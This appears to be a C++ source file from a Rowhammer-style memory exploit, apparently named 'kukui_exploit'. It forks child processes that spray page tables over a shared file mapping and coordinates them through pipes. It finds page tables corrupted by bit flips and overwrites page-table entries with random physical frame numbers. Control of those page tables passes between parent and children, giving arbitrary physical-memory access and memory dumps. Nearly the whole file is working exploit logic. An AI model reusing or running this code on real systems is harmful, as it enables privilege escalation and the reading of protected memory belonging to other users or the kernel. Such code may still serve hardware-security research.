spray_children.cc

#include <algorithm>
#include <iostream>
#include <ctime>
#include <cerrno>
#include <cassert>
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <fcntl.h>
#include <stdlib.h>
#include <sched.h>
#include <unistd.h>
#include <math.h>
#include <climits>
#include <signal.h>
#include <execinfo.h>
#include <linux/perf_event.h>
#include <sys/mman.h>
#include <sys/sysinfo.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <asm/unistd.h>

#include "globals.h"
#include "utils.h"
#include "memory.h"


void write_to_parent(const int pipe, const char *buf, int len) {
  int re = write(pipe, buf, len);
  if (re != len) {
    printf("Couldn't write to child pipe %d %d %s\n", re, errno,
          strerror(errno));
  }
}


int child_process(int read_pipe, int write_pipe, int temp_file_fd, size_t file_size,
                  uintptr_t victim_phys_addr, int child_id) {
  int run = 1;
  char pipe_buf[PIPE_BUF];
  int ret;

  int iterations = 0;
  uint64_t *page_table = nullptr;
  void *virtual_target = nullptr;
  uint64_t *access_address = nullptr;

  g_temp_file_fd = temp_file_fd;
  g_victim_phys_addr = victim_phys_addr;
  g_child_id = child_id;
  g_file_size = file_size;

  printf(COLOR_GREEN "C%d" COLOR_RESET " child process started\n%d %lx\n", 
         g_child_id, g_temp_file_fd, g_file_size);

  setcpu(5);

  do {
    printf(COLOR_GREEN "C%d" COLOR_RESET " waiting\n", g_child_id);

    ret = read(read_pipe, pipe_buf, PIPE_BUF);

    if (strncmp(pipe_buf, "spray", 5) == 0 && ret >= 9) {
      iterations = *((int*) (pipe_buf + 6));

      iterations = spray_page_tables(iterations);

      printf(COLOR_GREEN "C%d" COLOR_RESET " spray_page_tables done\n", g_child_id);
      write_to_parent(write_pipe, "done", 5);
    }

    else if (strncmp(pipe_buf, "check", 5) == 0) {
      check_mappings(iterations, &page_table, &virtual_target, pipe_buf[5]);

      printf(COLOR_GREEN "C%d" COLOR_RESET " check_mappings done %p %p\n",
             g_child_id, page_table, virtual_target);

      snprintf(pipe_buf, PIPE_BUF, "done%d", (page_table == nullptr) ? 0 : 1);
      write_to_parent(write_pipe, pipe_buf, 6);
    }

    else if (strncmp(pipe_buf, "set_pte_to_next", 15) == 0) {
      if (page_table) {
        // if we found a page table we changed the first pte to point to the 
        // following page, try to find this pattern in our shared memory area.
        printf(COLOR_GREEN "C%d" COLOR_RESET " change entry 0 to entry 1 and find two consecutive pages"
                "with the same content\n", g_child_id);
        page_table[0] = page_table[1];

        flush_tlb(iterations);
      }
    }

    else if (strncmp(pipe_buf, "find_access_address", 16) == 0) {
      access_address = find_access_address(page_table, iterations);

      snprintf(pipe_buf, PIPE_BUF, "done%d", (access_address == nullptr) ? 0 : 1);
      write_to_parent(write_pipe, pipe_buf, 6);
    }

    else if (strncmp(pipe_buf, "set_pte_random", 14) == 0) {
      uint64_t pfn = rand() % 0x130000;
      page_table[0] = (page_table[0] & 0xFFFFF00000000FFFUL) + (pfn << 12);
      printf("set_pte_random: %lx\n", page_table[0]);
      write_to_parent(write_pipe, "done", 5);
    }

    else if (strncmp(pipe_buf, "is_access_address_page_table", 28) == 0) {
      printf(COLOR_GREEN "C%d" COLOR_RESET " is_access_address_page_table\n", g_child_id);

      flush_tlb(iterations);

      if (!check_address((volatile uint64_t*) access_address) && (access_address[0] & 0xFF) == 0xD3) {
        printf(COLOR_GREEN "C%d" COLOR_RESET " access_address is a page table %lx %p\n",
               g_child_id, access_address[0], access_address);
        page_table = access_address;
        write_to_parent(write_pipe, "done1", 6);
      }
      else {
        printf(COLOR_GREEN "C%d" COLOR_RESET " access_address is not a page table %lx\n",
               g_child_id, access_address[0]);
        write_to_parent(write_pipe, "done0", 6);
      }
    }

    else if (strncmp(pipe_buf, "unmap", 5) == 0) {
      for (int i = 1; i < iterations; i++) {
        munmap(g_file_mappings[i] , g_file_size);
      }

      write_to_parent(write_pipe, "done", 5);
    }

    else if (strncmp(pipe_buf, "dump", 4) == 0) {
      dump_memory(access_address, page_table, iterations);

      write_to_parent(write_pipe, "done", 5);
    }

    else if (strncmp(pipe_buf, "exit", 4) == 0) {
      printf(COLOR_GREEN "C%d" COLOR_RESET " exiting, unmapping file\n", g_child_id);
      for (int i = 0; i < iterations; i++) {
        munmap(g_file_mappings[i] , g_file_size);
      }
      run = 0;
    }

    else {
      printf(COLOR_GREEN "C%d" COLOR_RESET " received unknown command %s\n", g_child_id, pipe_buf);
    }

  } while(run);

  return 0;
}


void spawn_spray_children() {

  for (int i = 0; i < g_child_count; i++) {
    if (pipe2(g_write_pipes[i], O_DIRECT) == -1) {
      printf("couldn't create pipe for child %d %s\n", errno, strerror(errno));
      exit(EXIT_FAILURE);
    }
    if (pipe2(g_read_pipes[i], O_DIRECT) == -1) {
      printf("couldn't create pipe for child %d %s\n", errno, strerror(errno));
      exit(EXIT_FAILURE);
    }

    g_child_id++;

    int pid = fork();

    if (pid == -1) {
      printf("Couldn't fork %d %s\n", errno, strerror(errno));
    }
    else if (pid == 0 ) {
      char file_name[32], s_child[32], s_read_pipe[32], s_write_pipe[32],
           s_temp_file_fd[32], s_temp_file_size[32], s_victim_phys_addr[32], s_child_id[32];

      snprintf(file_name, sizeof(file_name), "kukui_exploit");
      snprintf(s_child, sizeof(s_child), "child");
      snprintf(s_read_pipe, sizeof(s_read_pipe), "%d", g_write_pipes[i][0]);
      snprintf(s_write_pipe, sizeof(s_write_pipe), "%d", g_read_pipes[i][1]);
      snprintf(s_temp_file_fd, sizeof(s_temp_file_fd), "%d", g_temp_file_fd);
      snprintf(s_temp_file_size, sizeof(s_temp_file_size), "%ld", g_file_size);
      snprintf(s_victim_phys_addr, sizeof(s_victim_phys_addr), "%ld", g_victim_phys_addr);
      snprintf(s_child_id, sizeof(s_child_id), "%d", g_child_id);

      fclose(g_output_file);

      // if exec is not used, the aggressor pages are remapped when written to,
      // but I need to write different values for multiple hammer tries
      // I tried everything else to prevent the remapping but nothing else worked
      //   (MADV_DONTFORK, writting from child or parent)
      execl("./kukui_exploit", file_name, s_child, s_read_pipe, s_write_pipe, 
            s_temp_file_fd, s_temp_file_size, s_victim_phys_addr, s_child_id, (char*) nullptr); 
      exit(0);
    }
    
    g_child_pids[i] = pid;
  }

  g_child_id = 0;
}


void kill_children() {
  printf("killing children\n");
  for (int i = 0; i < g_child_count; i++) {
    if(g_child_pids[i] != 0)
      kill(g_child_pids[i], SIGTERM);
  }

  if(g_child_count > 0 && g_child_pids[0] != 0)
    sleep(2);

  for (int i = 0; i < g_child_count; i++) {
    if(g_child_pids[i] != 0) {
      int status;
      if (waitpid(g_child_pids[i], &status, WNOHANG) != g_child_pids[i])
        kill(g_child_pids[i], SIGKILL);
    }
  }
}


void write_to_children(const char *buf, int len) {
  for(int i = 0; i < g_child_count; i++) {
    int re = write(g_write_pipes[i][1], buf, len);
    if (re != len) {
      printf("Couldn't write to child pipe %d %d %s\n", re, errno,
            strerror(errno));
    }
  }
}


int wait_for_children(char *buf, int len) {
  if (g_child_count == 0)
    return 0;
    
  int re = read(g_read_pipes[0][0], buf, len);

  if (re == -1) {
    printf("Couldn't read from child pipe %d %d %s\n", re, errno,
          strerror(errno));
  }

  return re;
}


uint64_t *give_page_table_to_host(uint64_t **access_address, int iterations) {
  char pipe_buf[PIPE_BUF];
  uint64_t *page_table = nullptr;
  uint64_t *new_access_address = nullptr;

  // try a few times, this should be enough
  for(int i = 0; i < 10000; i++) {
    strcpy(pipe_buf, "set_pte_random");
    write_to_children(pipe_buf, 15);
    wait_for_children(pipe_buf, PIPE_BUF);

    flush_tlb(iterations);

    if (check_address((volatile uint64_t*) access_address)) {
      continue;
    }

    if (((*access_address)[0] & 0xFF) == 0xD3) {
      printf("access_address is a page table\n");

      uint64_t saved_pte = (*access_address)[0];
      // access_address points to a page_table \o/
      // change a page table entry and find the corresponding access_address
      (*access_address)[0] = (*access_address)[1];

      flush_tlb(iterations);

      new_access_address = find_access_address(*access_address, iterations);
      // now the access_address is the page_table address and we have a new
      // access_address

      printf("new access address: %p\n", new_access_address);

      if (new_access_address) {
        page_table = *access_address;
        *access_address = new_access_address;
        break;
      }
      else {
        (*access_address)[0] = saved_pte;
      }
    }
  }

  return page_table;
}


bool give_page_table_to_child(uint64_t **page_table, int iterations) {
  char pipe_buf[PIPE_BUF];
  uint64_t *access_address = nullptr;

  // try a few times, this should be enough
  for (int i = 0; i < 10000; i++) {
    uint64_t pfn = rand() % 0x130000;

    printf("page table entry: %lx -> ", (*page_table)[0]);
    (*page_table)[0] = ((*page_table)[0] & 0xFFFFF00000000FFFUL) + (pfn << 12);
    printf("%lx\n", (*page_table)[0]);

    strcpy(pipe_buf, "is_access_address_page_table");
    write_to_children(pipe_buf, 29);

    wait_for_children(pipe_buf, PIPE_BUF);
    if (strcmp(pipe_buf, "done1") == 0) {
      printf("is_access_address_page_table -> done1\n");

      strcpy(pipe_buf, "set_pte_to_next");
      write_to_children(pipe_buf, 16);

      strcpy(pipe_buf, "find_access_address");
      write_to_children(pipe_buf, 20);

      wait_for_children(pipe_buf, PIPE_BUF);
      printf("child returned %s\n", pipe_buf);

      if (strcmp(pipe_buf, "done1") == 0) {
        return true;
      }
    }
  }
  return false;
}